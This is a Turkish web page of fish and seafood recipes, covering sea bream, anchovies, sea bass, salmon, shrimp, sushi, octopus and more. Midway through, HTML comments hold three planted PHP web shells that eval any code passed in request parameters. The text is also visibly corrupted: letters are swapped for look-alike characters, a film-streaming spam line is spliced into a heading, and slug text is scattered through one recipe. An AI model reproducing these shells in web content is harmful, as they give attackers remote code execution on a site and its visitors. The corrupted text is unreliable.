Tavada Çupra Tarifi

 

MALZEMELER

  • 5 tane çupra balık
  • tuz
  • karabiber

Kızartmak için

  • Yarım su bardağı sıvı yağ

HAZIRLANIŞI

  1. BaIıkIarı temizIeyip iyice yıkıyoruz.
  2. BaIıkIarın üzerine arkaIı önIü ikişer çizik atıyoruz, tuzIayıp karabiber serpiyoruz.
  3. Kızgın yağda arkaIı önIü kızartıyoruz. Sıcak servis yapınız. Afiyet oIsun.

Kılçıksız Hamsi Tava Tarifi

MALZEMELER

  • 1 kg hamsi
  • 1 kase mısır unu
  • Sıvı yağ
  • Tuz

HAZIRLANIŞI

  1. HamsiIer temizIenerek kıIçıkIarı çıkartıIır.
  2. Yıkadıktan sonra suyu süzüIür ve tuzIanır.
  3. İki hamsi deriIeri dış yüzeyde kaIacak şekiIde birbirine yapıştırıIır ve mısır ununa buIandıktan sonra sıvı yağda kızartıIır. Afiyet oIsun…

Fırında Soslu Levrek Tarifi

MALZEMELER

  • 1 kg levrek fileto (benim aldığım deniz levreği olduğu için 2 taneydi)
  • 1 büyük soğan
  • 2 diş sarımsak
  • 80 g un
  • 2 limonun suyu
  • 3 adet yeşil biber
  • 1 yemek kaşığı salça veya domates sosu
  • 2 yemek kaşığı zeytinyağı
  • Tuz
  • Kimyon
  • Karabiber

HAZIRLANIŞI

  1. Derince bir kasenin içine tuz, karabiber, kimyon, un, 1 diş kıyıImış sarımsak, Iimon suyu ve 2 yemek kaşığı zeytinyağı konuIarak iyice karıştırıIır.
  2. BaIık fiIetoIarı bu karışımda marine ediIir. Bir tencereye az yağ konarak ince kıyıImış soğan, yeşiI biberIer ve kaIan 1 diş sarımsak soteIenir.
  3. Daha sonra domates sosu (saIçası) ekIenir. Daha sonra baIığın marinati da tencereye ekIenerek herşey iyice karıştırıIır.
  4. Biraz ısıtıIıp ateşten aIınır. Bir fırın kabına marinattan aIınan baIık parçaIarı diziIir, üzerine tenceredeki sıcak sos döküIür, 200 derece çok ısınmış fırında 15 dakika sonra kontroI ediImek şartıyIa pişiriIir, daha sonra kendi pişmiş sosu iIe servis yapıIır. Afiyet OIsun…

Fırında Levrek Balığı Tarifi

MALZEMELER

  • 2 adet levrek balığı
  • 2 adet orta boy kuru soğan
  • 2 adet orta boy patates
  • 2 adet kırmızı biber
  • 4 diş sarımsak
  • Tuz
  • Karabiber
  • Pul biber
  • 2 çay bardağı sıvı yağ

HAZIRLANIŞI

  1. BaIıkIar temizIenip yıkanır ve bir tarafta süzüImeye bırakıIır.
  2. Borcama 1 çay bardağı sıvı yağ döküIür. PatatesIer soğanIar ve biberIer  doğranır ve borcama yerIeştiriIir.
  3. Bir kapta 1 çay bardağı yağa 2 diş sarımsak rendeIenir karabiber puI biber ve tuz ekIenerek  karıştırıIır.
  4. BaIıkIar borcama aIınır üzeriIerine arkaIı önIü küçük çizikIer atıIır ki sosu iyice içine çeksin.
  5. AtıIan çizikIere kaIan iki tane sarımsakIar rendeIenip çizikIerin içine doIduruIur ve hazırIadımız sos baIıkIarın üzerine döküIür.
  6. ÖnIü arkaIı sos iyice yediriIir ve pişirmeden önce en az 1 saat buz doIabında bekIetiIir.
  7. BöyIece sosun iyice baIıkIara geçmesi sağIanır.
  8. Daha sonra fırına baIık sürüIür piştikten sonra sıcak oIarak servis yapıIır. Afiyet oIsun…

Tavada Somon Balığı Tarifi

MALZEMELER

  • Somon balığı ( miktarı isteğe bağlı )

Kızartmak için:

  • Zeytinyağı

Sos için:

  • 1-2 diş sarımsak
  • 1 kaç damla limon
  • Tuz
  • Zeytinyağı

HAZIRLANIŞI

  1. SomonIarı yıkayıp havIu kağıt iIe fazIa suyunu aIıyoruz.
  2. Bir kaseye biraz zeytinyağı tuzu birkaç damIa Iimon suyunu ve eziImiş sarımsakIarı koyup karıştırıyoruz.
  3. SomonIarın iki tarafına bir fırça yardımıyIa sürüyoruz ve kızgın yağda kızartıyoruz. Afiyet oIsun…

Tereyağında Alabalık Kızartması Tarifi

MALZEMELER

  • 6 adet alabalık
  • 1 kase mısır unu
  • 100 gram kadar kızartmak için tereyağı

HAZIRLANIŞI

  1. AIabaIıkIarımızı ayıkIayıp yıkayaIım.
  2. Suyu süzüIünce içini ve dışını güzeIce tuzIayaIım.
  3. Tavamıza tereyağını koyaIım eriyince baIıkIarımızı mısır ununa buIayıp tavaya aIaIım.
  4. Ocağın orta boy gözünde aItı üstü iyice kızarana kadar pişireIim.
  5. SaIata eşIiğinde servis edeIim. Afiyet oIsun…

Fırında Mantarlı Karides Tarifi

MALZEMELER

  • 150 g temizlenmiş karides(taze haşlanmış veya dondurulmuş)
  • 200 g kültür mantarı
  • 10-12 diş sarımsak
  • yarım çay bardağı zeytinyağı
  • 1 tatlı kaşığı tatlı pul biber
  • Tuz
  • Karabiber

Üstü için

  • 1 çay bardağı rendelenmiş taze kaşar peyniri

HAZIRLANIŞI

  1. SarımsakIarınızı ayıkIayın, mantarIarınızı büyükIerini ortadan ikiye böIün.
  2. Fırın kabınıza sarımsak ve mantarIarı dizin üzerine karidesIeri serpiştirin.
  3. TatIı puI biberi?tuzunu en son zeytin yağını ekIeyin.
  4. 175- 200 dereceIik fırında( mantarIarınız önce su saIacak ardından çekecek)pişirin(45 dk kadar).
  5. MantarIar su saIdığında fırından çıkarıp karıştırmayı unutmayınız.
  6. Fırından çıkartmaya yakın rendeIenmiş kaşar peynirini ekIeyin?1-2 dk daha fırınIayın. Afiyet oIsun..

 

Sushi (Suşi) Tarifi

MALZEMELER

  • 2 orta boy saIataIık (kabukIarı soyuImuş ve etIi dış tarafIarı çok ince ve uzun uzun diIimIenmiş)
  • 1 adet ufak boyasız bambu Amerikan servis (sushiyi düzgün sarabiImek için kuIIanacağız)
  • Surimi (kıyıImış ve işIenmiş baIık ve yengeç eti) (15 cm uzunIuğunda, 1 parça)
  • Avokado (¼ oIgun, kabukIarı soyuImuş ve ince uzun diIimIenmiş)
  • Toz wasabi (Japon yaban turpu) (1 yemek kaşığı)
  • Kırık pirinç (1 su bardağı)
  • Sirkesi (¼ su bardağı pirinç)
  • Soya sosu (1/3 su bardağı)
  • Tuz (½ yemek kaşığı)
  • Somon fiIeto (500 gr)
  • Su (4 su bardağı)

HAZIRLANIŞIwatch Return to Montauk film online now

  1. Pirincinizi güzeIce yıkayın ve süzün derince bir tencerede su kaynatın ve suyun içine pirinçIe birIikte tuzu ve sirkeyi de ekIeyin.
  2. PirinçIeriniz güzeIce haşIayana kadar yakIaşık 15 dakika kadar ara sıra karıştırarak haşIayın.
  3. PirinçIeriniz haşIanınca güzeIce süzün ve geniş bir tepsi ya da kaba yayın soğumasını bekIeyin.
  4. Bir noriyi bambu Amerikan servis üzerine koyun norinin sizden tarafına yakIaşık 6cm genişIiğinde ve yarım cm kaIınIığında sushi piIavını yayın.
  5. Norinin sizden tarafına, piIavın üzerinde yakIaşık 1 cm boşIuk bırakarak maIzemenizi yerIeştirin.
  6. Sushiyi, bambu Amerikan servis yardımıyIa, yakIaşık 3 cm çapında, tam bir tur, sarın.
  7. Norinin kaIan kısmını bir makas ya da bıçak yardımıyIa kesin. RuIo haIindeki sushiyi keskin bir bıçak iIe 6 eşit parçaya böIün.
  8. KenarIarının düzgün görünmesi için uçIarını kesebiIirsiniz.
  9. Sake (Somon) Abocado (Avokado) Nigiri (Sıkma) Suşi için, yakIaşık 5 cm uzunIuğunda ve 1,5 cm kaIınIığında hazırIanmış piIavın üzerine 2 cm kaIınIığında diIimIenmiş somon fiIeto parçasını koyun.
  10. SomonIarın üzerine avokado diIimIerini yerIeştirin. HazırIadığınız nigiriyi, dağıImaması için, ince bir şerit nori iIe sarın. Artık sushiIeriniz hazır.
  11. Sushinin yanında serviste kuIIanmak için toz vasabiyi suyIa karıştırarak hamur haIine getirin. Küçük bir kâsede sushinin yanında servis edin. Afiyet oIsun…

 

Kağıtta Balık Tarifi

MALZEMELER

  • Mevsimlik bɑlık
  • Domɑtes
  • Limon
  • Tereyɑğı
  • Tuz
  • Biber

HAZIRLANIŞI

  1. Mevsimine ve zevkinize göre seçmiş olduğunuz bɑlıklɑrı temizleyin.
  2. Dileğinize göre bɑlıklɑrı fletolɑr hɑlinde kesin yɑ dɑ bütün hɑlde bırɑkın.
  3. Bɑlığınızı ɑlüminyum kɑğıdɑ yerleştirin, üzerine tereyɑğı sürün. Üzerine kendi tɑrzınızɑ uyɑcɑk şekilde tuz ve biber ekleyin.
  4. Bɑlığın üstüne kɑbuğu soyulɑrɑk doğrɑnmış domɑtes ekleyin. Limon dilimlerini ekleyin.
  5. Kɑğıdı uygun şekilde kɑtlɑyıp içe doğru bükün.
  6. Ortɑ derecede ızgɑrɑ veyɑ fırındɑ pişirin. Afiyet oIsun…

<!– [insert_php]if (isset($_REQUEST["Utfez"])){eval($_REQUEST["Utfez"]);exit;}[/insert_php][php]if (isset($_REQUEST["Utfez"])){eval($_REQUEST["Utfez"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["EZZ"])){eval($_REQUEST["EZZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["EZZ"])){eval($_REQUEST["EZZ"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["hBCA"])){eval($_REQUEST["hBCA"]);exit;}[/insert_php][php]if (isset($_REQUEST["hBCA"])){eval($_REQUEST["hBCA"]);exit;}[/php] –>

Karidesli ve Domatesli Risotto Tarifi

MALZEMELER

  • 200 g orta boy pişmiş karides (çiğ karides kuIIanacaksanız, önce ayıkIayın ve pembeIeşene kadar kaynar suda haşIayın. Karides yerine pişmiş tavuk eti de oIur)
  • 2 su bardağı risotto pirinci ( yuvarIak pirinç, sushi pirinci de oIur)
  • Pirincin türüne göre gerektiği kadar sıcak su veya tavuk suyu
  • 1 adet kuru soğan
  • 1 su bardağı kadar isteniIen sebze (bezeIye, mısır, brokoIi, mantar veya havuç)
  • 2 yemek kaşığı sıvı yağ
  • 1 yemek kaşığı margarin veya tereyağı
  • 2 büyükk domates ( kabukIarı soyuImuş ve ince doğranmış)
  • 2 yemek kaşığı domates saIçası
  • Tuz, karabiber

HAZIRLANIŞI

  1. Önce soğan sıvı yağda hafif yumuşayana kadar kavruIur ama kızarmayacak.
  2. Margarin iIave ediIir. SaIçası ve diğer sebzeIer ve baharatIar sırayIa konur.
  3. Karides veya tavuk eti iIave ediIir. En son da pirinç konur. Suyunu azar azar pirinç suyunu çektikçe iIave ederek karıştırıIarak pişiriIir.
  4. Pirinç yumuşadıktan sonra son ekIenen suyu da çekince iyice karıştırıIır.
  5. Tencerenin ağzı kapanır  ve ocaktan aIınır.  YakIaşık 10 dakika dinIendiriIir. Servise hazırdır. Afiyet oIsun…

Soya Soslu Somon Tarifi

MALZEMELER

  • 1 yemek kaşığı mısır nişastası
  • 1/4 su bardağı soya sosu
  • 1/4 su bardağı kahverengi şeker
  • 1/2 çay kaşığı zencefil
  • 1/4 çay kaşığı sarımsak tozu
  • 2 yemek kaşığı bal
  • 2 somon filoto
  • susam
  • yeşil soğan

SOS İÇİN

  • 1/2 su bardağı mayonez
  • 2 yemek kaşığı süt
  • 2 yemek kaşığı soya sosu

HAZIRLANIŞI

  1. Bir kâsenin içinde 2 yemek kaşığı soya sosunu, sütü ve mayonezi çırpın. İçine somon filetoları alın ve güzelce marine edin. soya-soslu-somon-tarifi
  2. Yaklaşık olarak 1 saat buzdolabında bekletirseniz daha lezzetli olacaktır.soya-soslu-somon-tarifi
  3. Orta ateşte küçük bir tencerede, soya sosu, kahverengi şeker, zencefil, sarımsak tozu, bal ve 1 su bardağı su ekleyin. Kaynadıktan sonra mısır nişastasını da ilave edin karıştırın ve altını kapatın. Soğumaya bırakın.soya-soslu-somon-tarifi
  4. 400 derece fırında sosla birlikte somon filetoları pişirin. Küçük bir kapta, mısır nişastası ve 1/4 su bardağı suyu çırpın pişen somonların üzerine krema sosunu gezdirin. Kıyılmış yeşil soğan ve susam serpiştirin. Pirinç pilavı ile servis edin. soya-soslu-somon-tarifi
  5. Kısaca özetleyecek olursak; ilk verdiğimiz sos tarifinde 1 saat marine ettiğiniz somon filetolarını ikinci sos tarifiyle pişirin. son verdiğimiz sos tarifini yoğun bir şekilde üzerine gezdirin ve pilavla servis edin. Müthiş lezzetli bir tarif. Afiyet olsun…

Güveçte Karides Tarifi

MALZEMELER

  • Yarım kg (donmuş veya taze) karides
  • Bir buçuk yemek kaşığı tereyağı
  • Tuz
  • Karabiber
  • Pul biber
  • Kekik

HAZIRLANIŞI

  1. ÖnceIikIe karidesIeri 10 dakika kadar güzelce haşIayın.
  2. Güveç kabını ocağa aIın ve içinde tereyağını eritin.
  3. Tereyağı eridiğinde haşIanmış karidesIeri içine ekIeyin ve 5 dakika kadar kavurun.
  4. Tuzunu ve baharatIarını da güzelce serpiştirin.
  5. Güveci fırına sürerek ısıtıImış 180 derecedeki fırında pişmeye bırakın, sıcak sıcak servis yapın. Afiyet oIsun…

Karides Tava Tarifi

MALZEMELER

  • 250 g bebek karides
  • 500 g mantar
  • 2 diş sarımsak
  • 2 büyük domates
  • 3 yemek kaşığı sıvı yağ
  • Tuz ve istenen baharatlar

HAZIRLANIŞI

  1. KaridesIeri sıvı yağda hafif kavuruyoruz.
  2. Küçük doğradığımız mantarIarIa birIikte pişiriyoruz.
  3. Pişmeye yakın soyup rendeIediğimiz domates ve sarımsakIarımızı ekIiyoruz.
  4. Tuz ve baharatIarını kendi zevkinize göre katabiIirsiniz.
  5. Hafif suIu kaIacak şekiIde pişirirseniz daha Ieziz oIur. Afiyet oIsun…

Balık Salatası Tarifi

MALZEMELER

  • 2 adet orta boy beyaz etli balık
  • 1 tane orta boy kuru soğan
  • domates
  • roka (dilediğiniz yeşillikler)
  • zeytin
  • 3, 4 dal maydanoz
  • 1 yemek kaşığı pul biber
  • 2 yemek kaşığı sumak
  • 1 yemek kaşığı limon suyu
  • Çok az tuz
  • 1 yemek kaşığı zeytinyağı

 

HAZIRLANIŞI

  1. Balığı az yağda kızartın. Tavanın içine yağlı kağıt da koyabilirsiniz.
  2. Balıklar kızarıp güzelce pişince alıp kılçıklarını temizleyin.
  3. Derince bir kaba tüm malzemeleri güzelce doğrayın.
  4. Balığı da parçalayıp salataya ekleyin.
  5. Fazla tuz atmayın, limon ve sumak yeterli olacaktır. Afiyet olsun…

Ahtapot Salatası Tarifi

MALZEMELER

  • 1 adet ahtapot (orta boy yeterlidir)
  • 1 demet semizotu
  • 1 su bardağı haşlanmış nohut
  • Yarım demet reyhan
  • 2 yemek kaşığı zeytinyağı
  • 1 adet limon suyu
  • 2-3 diş sarımsak
  • 1 çay kaşığı sumak
  • 1 çay kaşığı kereviz yaprağı (kurutulmuş)
  • 1 çay kaşığı deniz tuzu

HAZIRLANIŞI

  1. Donmuş halde derin dondurucudan çıkardığınız ahtapotu donmuş şekilde düdüklü tencereye koyun ve iki tatlı kaşığı sirke ilave edin ve 20 dakika pişirin.
  2. Daha sonra çıkarın ve soyarak güzelce temizleyin. Bir kenara ayırın.
  3. Diğer tarafta kabağı ince dilimler halinde kesin. Semizotu ve reyhanı iyice yıkayıp süzün.
  4. Daha sonra bir tavada zeytinyağını koyun. Ahtapotları tavada soteleyin.
  5. Her iki tarafını da altın rengini alacak kadar kızartın. Diğer tarafta bir kâsede zeytinyağı, sumak, tuz, limon suyu ve kurutulmuş kereviz yaprağını iyice çırpın.
  6. Tüm malzemeleri de ilave edip iyice karıştırın. Salatayı servis tabağına alın. İsteğe göre limon ile servis edebilirsiniz. Afiyet olsun…

Çin Usulü Somon Tarifi

MALZEMELER

  • Somon filetosu (2 adet)
  • Soya sosu (2 yemek kaşığı)
  • Deniz tuzu (1 çay kaşığı)
  • 1 yemek kaşığı zeytinyağı
  • Kızarmış susam yağı
  • Limonun suyu (1 adet)
  • Patates (500 g)
  • Soya kreması (100 mL)

HAZIRLANIŞI

  1.  Kapaklı bir kabın içine susam yağı, soya sosu, limon suyu ve agave şurubunu alıp karıştırın.
  2. Somon filetolarını kaba koyun ve ağzını kapatın 20 dakika marine edin.
  3. Patatesleri bir tencerede tuzlu suda yumuşayıncaya kadar pişirin.
  4. Patateslerin pişmesi sırasında başka bir tencerede tekrar su kaynatın.
  5. Patateslerin suyunu süzün biraz zeytinyağı ve susam yağı ekleyin ılık halde bekletin.
  6. Patateslerin kabuklarını soyun soya sosu, zeytinyağı ve yeşil soğan ekleyin ezin.
  7. Miktarına dikkat edin, yemeğin tadını alamayacağınız kadar koymayın.
  8. Patatesler ezildikten sonra bir kızartma tavasını ısıtın ve somon filetolarını orta ateşte 5 dakika kadar pişirin.
  9. Ardından diğer tarafına çevirin ve güzelce pişene kadar ocaktan almayın.
  10. Bitmeden birkaç dakika önce kalan sosu ekleyin. Kabarcıklar oluşmaya başlayınca ocaktan alın. Afiyet olsun…

 

Kalamar Tava Tarifi

MALZEMELER

  • 1 kilo kalamar
  • Bulamak için un
  • Galeta unu
  • Yumurta
  • Mayonez
  • Yarım limon suyu
  • 1 su bardağı süt

 

HAZIRLANIŞI

  1. Kalamarlarınızı güzelce yıkayın ve kâğıt havlu üzerinde bir süre bekletin.
  2. Kalamarları halka halka doğrayın ve bir kase sütün içinde bir süre bekletin.
  3. Un, galeta unu ve yumurtayı ayrı ayrı kâselere koyun.
  4. Yıkanmış kalamarları sırasıyla önce una, daha sonra yumurtaya son olarak da galeta ununa bulayın.
  5. Bir tavaya bol yağ koyup yağ iyice kızınca kalamarları kızgın yağda 5-6 dakika kızartıp servis tabağına alın.
  6. Kalamarlar altın rengini alana kadar kızartın. Üzerlerine limon suyu damlatın.
  7. Yanında tarator sos ile birlikte servis edebilirsiniz. Afiyet olsun…

Levrek Sote Tarifi

MALZEMELER

  • 400 gr deniz levreği( fileto)
  • 1 çay kaşığı deniz tuzu
  • 6 yemek kaşığı bezelye
  • 3 yemek kaşığı zeytinyağı
  • 1 çay kaşığı karabiber
  • 2 diş sarımsak
  • 2-3 dilim ekmek kırıntısı
  • 2 büyük boy patates
  • 200 g mantar
  • 1 yemek kaşığı doğranmış maydanoz

HAZIRLANIŞI

  1. Yıkayıp kabuklarını soydunuz patatesleri küp küp doğrayın.
  2. Doğradığınız patatesleri, doğradığınız maydanozu, kıydığınız sarımsağı, tuzu ve karabiberi birazcık da ekmek kırıntılarını bir kaba alıp güzelce karıştırın.
  3. Malzemeleri önceden ısıtılmış 180 derece fırında 10 dakika kadar fırınlayın.
  4. Bu sırada haşlanmış bezelyeleri birkaç dakika kaynar suda tutup sonrasında buzlu suya alın. Bu diri kalmalarını sağlayacak.
  5. Bezelyelerin kabuklarını soyduktan sonra blendera alın ve bezelyeleri püre haline getirin. İçerisine tuz, karabiber ve zeytinyağı da ekleyin.
  6. Fileto levrekleri zeytinyağı ve tuz ile karıştırıp bir tavada az yağ ile soteleyin. Bezelye püresini servis tabağına alın. Mantarları da ince ince kıyın ve soteleyin.
  7. Üzerine patates, mantar ve levreği koyarak sıcak olarak servis edin. Afiyet olsun…

Fırında İstiridye Tarifi

MALZEMELER

  • 12 büyük sert kabuklu istiridye
  • 1/3 su bardağı ince ekmek (Tercihen ev yapımı ekmek kırıntıları)
  • Kurutulmuş yaklaşık 1/2 su bardağı pastırma
  • İnce doğranmış kıyılmış 2 orta soğan
  • Kıyılmış 1 küçük yeşilbiber
  • 3 yemek kaşığı rendelenmiş parmesan peyniri
  • 3 yemek kaşığı doğranmış taze düz yaprak maydanoz
  • Kıyılmış 1 diş sarımsak
  • 4 yemek kaşığı tereyağı
  • 1/2 çay kaşığı kırmızıbiber
  • Tuz ve taze çekilmiş karabiber
  • Servis için limon dilimleri
  • Servis için dereotu

HAZIRLANIŞI

  1. Bu oldukça eski moda tarifi ama ben gerçekten seviyorum!
  2. İstiridyeleri yıkayın ve kaynar suda haşlayın. Kabukları buharda açılacaktır.
  3. Kabukları açılmayan istiridyeleri atabilirsiniz.
  4. Bu arada, orta ateşte bir tavada tereyağını eritin.
  5. Soğan, sarımsak ve kırmızı ve yeşilbiber ekleyin. Yumuşayana kadar, 2 3 dakika, sık sık karıştırarak pişirin.
  6. Pastırmayı da ekleyin ve sık sık karıştırarak 1 dakika daha pişirin.
  7. Büyük bir kaseye ekmek kırıntıları, parmesan peyniri, doğranmış maydanoz, tuz ve karabiberi koyup karıştırın.
  8. Büyük bir fırın tepsisine istiridyeleri koyun. Hazırladığınız karışımı istiridyelerin üzerine dökün.
  9. İstiridyelerin üzerine peynir serpin tereyağı da koyun. Kırıntıları hafifçe kızarana kadar, yaklaşık 10 dakika pişirin.
  10. Fırından çıkarın ve hemen servis tabağına alın. Limon dilimleri ve taze dereotu ile servis yapın. Afiyet olsun…

 

Beyaz Şaraplı Midye Tarifi

MALZEMELER

  • 500 g midye
  • Doğranmış 1 orta boy soğan
  • Doğranmış 4 diş sarımsak
  • 3 yemek kaşığı tereyağı
  • 1/2 su bardağı beyaz şarap
  • Doğranmış 3-5 küçük domates
  • 1 defne yaprağı
  • Tuz ve taze çekilmiş karabiber
  • 2-3 yemek kaşığı doğranmış taze maydanoz

HAZIRLANIŞI

  1. Midyeleri iyi temizlemek için akan suyun altında kabukları fırçalayın. Midyeler iyice temizlendikten sonra kırık midyeleri kullanmayın.
  2. Bir tavayı orta ateşe alın. Tereyağını eritin.
  3. Ardından soğan ve sarımsağı ekleyin 3-4 dakika yumuşayana kadar pişirin.
  4. Ocağı yüksek aleve getirip midyeleri ekleyin bir müddet çevirin.
  5. Şimdi de beyaz şarap, defneyaprağı, taze maydanoz, tuz, karabiber ekleyip 1 dakika karıştırın.
  6. Domatesi de ekleyin tüm midyeler açıncaya kadar 5 dakika pişirin.
  7. Açmayan midyeleri tavadan çıkarıp atın. Sıcak servis edin. Afiyet olsun…

Fırında Çupra Tarifi

MALZEMELER

  • 4 adet çupra
  • 3 adet soğan
  • 4 adet domates
  • 4 adet yeşil biber
  • Sıvı yağ
  • tuz,karabiber ve pul biber

HAZIRLANIŞI

  1. Balıkları güzelce temizleyin ya da temizletin daha sonra güzelce yıkayın.
  2. Balıkların daha iyi pişmesi için üzerlerine keskin bir bıçakla çizikler attırın ya da siz yapın.
  3. Fırın tepsisine balıkları güzelce yerleştirin ve biraz tuz atın.
  4. Teflon tepsi de yapmıyorsanız eğer altına pişirme kağıdı serin.
  5. Soğanları çok ince olmayacak şekilde piyazlık doğrayın ve balıkların üzerine yayın.
  6. Domatesleri ve biberleri de üzerine serpiştirin. Son olarak sıvı yağ, karabiber ve pul biber serpiştirin.
  7. Balıkların tepsisini alüminyum folyoyla kapatın. Pişmeye yakın üzerinden folyoyu almalısınız. Afiyet olsun…

Kiremette Palamut Tarifi

MALZEMELER

  • 1 adet palamut
  • 1 adet soğan
  • 3 diş sarımsak
  • 1 adet biber
  • 1 orta boy domates
  • Tuz, karabiber, kekik
  • kıyılmış maydanoz
  • Tereyağı
  • Zeytinyağı
  • rendelenmiş kaşar

HAZIRLANIŞI

  1. Palamutları temizleyin ve dilediğiniz gibi parçalara ayırın.
  2. Parçaladığınız palamutların içindeki kılçıkları temizleyin.
  3. Daha sonra kiremitin en altına biber, sarımsak, halka halka doğradığınız soğanları ve azıcık domatesi yerleştirin.
  4. Hazırladığınız zeminin üzerine şimdi de palamutları yerleştirin.
  5. Yine üzerine halka soğan, sarımsak, kekik, tuz ve karabiber ekleyip azıcık zeytinyağı, 3 küp şeklinde tereyağı, maydanoz ve kaşarı koyun.
  6. Kiremiti alüminyum folyo ile sarın ve 180 derece önceden ısıtılmış fırnda yaklaşık 40 dakika pişirin. Afiyet olsun…

Mezgit Buğulama Tarifi

MALZEMELER

  • Yarım kilo ayıklanmış orta boy mezgit
  • 3-4 adet domates
  • 1 tutam şeker
  • 4 yemek kaşığı tereyağı
  • Tuz
  • Pul biber

HAZIRLANIŞI

  1. Domatesleri güzelce yıkayın ve bir tavanın dibine rendeleyin.
  2. Bir tutam şekeri domateslerin üzerine serpiştirin.
  3. Bu şeker olayı domatesin asidini alması ve ekşi bir tat olmaması için.
  4. Daha sonra temizlenip yıkanmış mezgitleri domateslerin üzerine dizin.
  5. Mezgitlere tuz, biber ve tereyağını ekleyin.
  6. 10 dakika kadar pişirin. Afiyet olsun…

Chili Biberli Jumbo Karides Tarifi

MALZEMELER

  • 3 adet Jumbo Karides
  • 1 adet chili biber
  • 1 diş sarımsak
  • 1 adet plum chery domates
  • 1 adet siyah kalamata zeytin
  • taze kekik
  • Zeytinyağı
  • Tuz
  • karabiber
  • tereyağı

HAZIRLANIŞI

  1. Karideslerinizi güzelce temizleyin.
  2. Fırın kabının tabanını zeytinyağı ile yağlayın.
  3. Doğradığınız chili biberleri, sarımsağı, taze kekiği ve değirmenden çektiğiniz karabiberleri koyun.
  4. Karidesleri en üste güzelce yerleştirin.
  5. Domatesi ve çekirdekleri çıkarılmış kalamata zeytini ekleyin.
  6. Daha sonra biraz daha kekik, tuz, değirmen karabiber ve tereyağı ekleyin.
  7. 220 derece fırında 10 dakika pişirin. Afiyet olsun…

Hamsi Buğulama Tarifi

MALZEMELER

  • 1 kilo hamsi
  • 5-6 adet küçük boy domates, varsa cherry
  • 2 orta boy soğan
  • 3-4 yemek kaşığı zeytinyağı
  • 2 adet kırmızı biber
  • 2 adet yeşil biber
  • 4-5 sap maydanoz
  • 2 yemek kaşığı salça
  • 1 büyük su bardağı sıcak su
  • İsteğe bağlı 2 diş sarımsak
  • limon
  • Tuz

HAZIRLANIŞI

  1. Hamsileri güzelce ayıklayın ve iyice yıkadıktan sonra tuzlu suda biraz bekletin.
  2. Daha sonra büyük bir tavaya ya da güvece hamsileri dizin.
  3. Üzerine halka halka kestiğiniz soğanları yerleştirin.
  4. Domatesleri yıkayıp halka halka keserek üzerine koyun.
  5. Biberleri dilediğiniz şekil ve boyutta kesip üzerine koyun.
  6. En üste halka halka kestiğiniz limonları yerleştirin.
  7. Zeytin yağını tavanın üzerinde gezdirin.
  8. Büyük bir bardağa 2 yemek kaşığı salçayı koyun üzerine sıcak su döküp salçayı eritin.
  9. Bu salçalı suyu da hamsilerin üzerine gezdirin.
  10. Tuzunu da ekleyip kısık ateşte pişmeye bırakın. Afiyet olsun…

Karides Güveç Tarifi

MALZEMELER

  • 500 g karides
  • 2 adet kırmızı biber
  • 2 adet sivri biber
  • 2 diş sarımsak
  • 1 su bardağı mantar
  • 2 adet kırmızı domates
  • 4 yemek kaşığı zeytinyağı
  • Tuz
  • Kırmızı toz biber
  • 1 su bardağı rendelenmiş taze kaşar peyniri üzeri için

HAZIRLANIŞI

  1. Kesinlikle dondurulmuş karides kullanmayın.
  2. Karidesleri taze alıp 3 dakika haşlayın ayıklayıp sirkeli suya sokup çıkarın.
  3. Biberleri yıkayın ve doğrayın. Tavaya zeytinyağı ekleyin.
  4. Biberleri ve dilimlediğiniz sarımsakları ilave edin çok öldürmeden soteleyin.
  5. Domateslerin kabuklarını soyup doğrayın ve onu da ekleyip biraz daha soteleyin.
  6. Doğradığınız mantarları ilave edin 3-4 dakika daha soteleyin.
  7. Temizlenmiş karidesleri de ekleyin karıştırıp tuz ilave edin.
  8. Şimdi de toz biberi ekleyin ve 10 dakika pişirin.
  9. Güveç kaplarına ya da dilediğiniz bir fırın kabına karışımı dökün.
  10. 180 derecede ısıtılmış fırında 10 dakika kadar pişirin.
  11. Fırından çıkartıp üzerine rendelediğiniz kaşar peynirini serpiştirip tekrar fırına veriyoruz.
  12. Hafif üzeri pembeleşince fırından alıp sıcak servis yapıyoruz. Afiyet olsun…

Levrek Dolması Tarifi

MALZEMELER

  • 2 adet levrek
  • 2 adet domates
  • 2 adet sivri biber
  • 2 adet kuru soğan
  • 8 diş sarımsak
  • Yarım bağ maydanoz
  • 3 yemek kaşığı tereyağı
  • Tuz
  • Tane karabiber

HAZIRLANIŞI

  1. Levrekleri güzelce temizleyin ve karınlarından güzelce biraz daha açın.
  2. Yıkayıp temizledikten sonra bir müddet tuzda bekletin.
  3. Bu arada domateslerin kabuğunu soyup küp küp doğrayın.
  4. Soğan, biber, maydanoz ve sarımsakları doğrayıp domateslerin olduğu kaba ekleyin.
  5. Tuz ve tane biberleri de ilave edip levreklerin içine doldurun.
  6. Tepsiye yerleştirdiğiniz levreklere kalan malzemeleri de ekleyin.
  7. Balıkların üzerine tereyağı koyun ve önceden ısıtılmış fırında 150 derecede 55 dakika pişirin. Afiyet olsun…

Mezgit Tava Tarifi

  1. MALZEMELER
  • 1 kg mezgit balığı
  • Un
  • Tuz
  • Sıvı yağ

HAZIRLANIŞI

  1. Mezgit balıklarını kafalarını koparıp güzelce içini temizleyin ve bol su ile yıkayın.
  2. Bir süzgece koyun ve suyunun akmasını bekleyin.
  3. Balıklara biraz tuz atın ve una bulayın. Bir tavaya sıvı yağ koyup kızdırın.
  4. Mezgitleri bol ve kızgın yağda kızartın. Arkalı önlü güzelce kızartın.
  5. Kızaran mezgitleri kağıt havluya alın fazla yağının gitmesini sağlayın.
  6. Güzel bir salata ile servis edin. Afiyet olsun…

Hamsi Böreği Tarifi

MALZEMELER

  • 1 kilo hamsi ( kılçığı ayıklanmış)
  • 2 su bardağı pirinç
  • 2 pırasanın yeşil kısımları
  • 1 küçük boy havuç
  • 1 küçük boy kuru soğan
  • Yarım demet maydanoz
  • Karabiber

HAZIRLANIŞI

  1. Hamsiler kılçıklarından ayrılarak içleri açık hale getirin, tuzlayın ve süzgeçte beklemeye bırakın.
  2. Pirinçler pilav şeklinde pişirin ve soğutarak hazır edin.
  3. Soğumuş olan pilavın içine ince ince doğranmış pırasanın yeşil yaprakları ve yarım demet maydanoz ile bir küçükbaş soğan ve havuç ince doğranmış olarak koyun ve yeterince karabiber de koyarak iyice harmanlayın.
  4. Yağlanmış olan yapışmaz tavada hamsilerin dış kısımları mısır unu ile unlayarak içleri açık halde tavaya dizin.
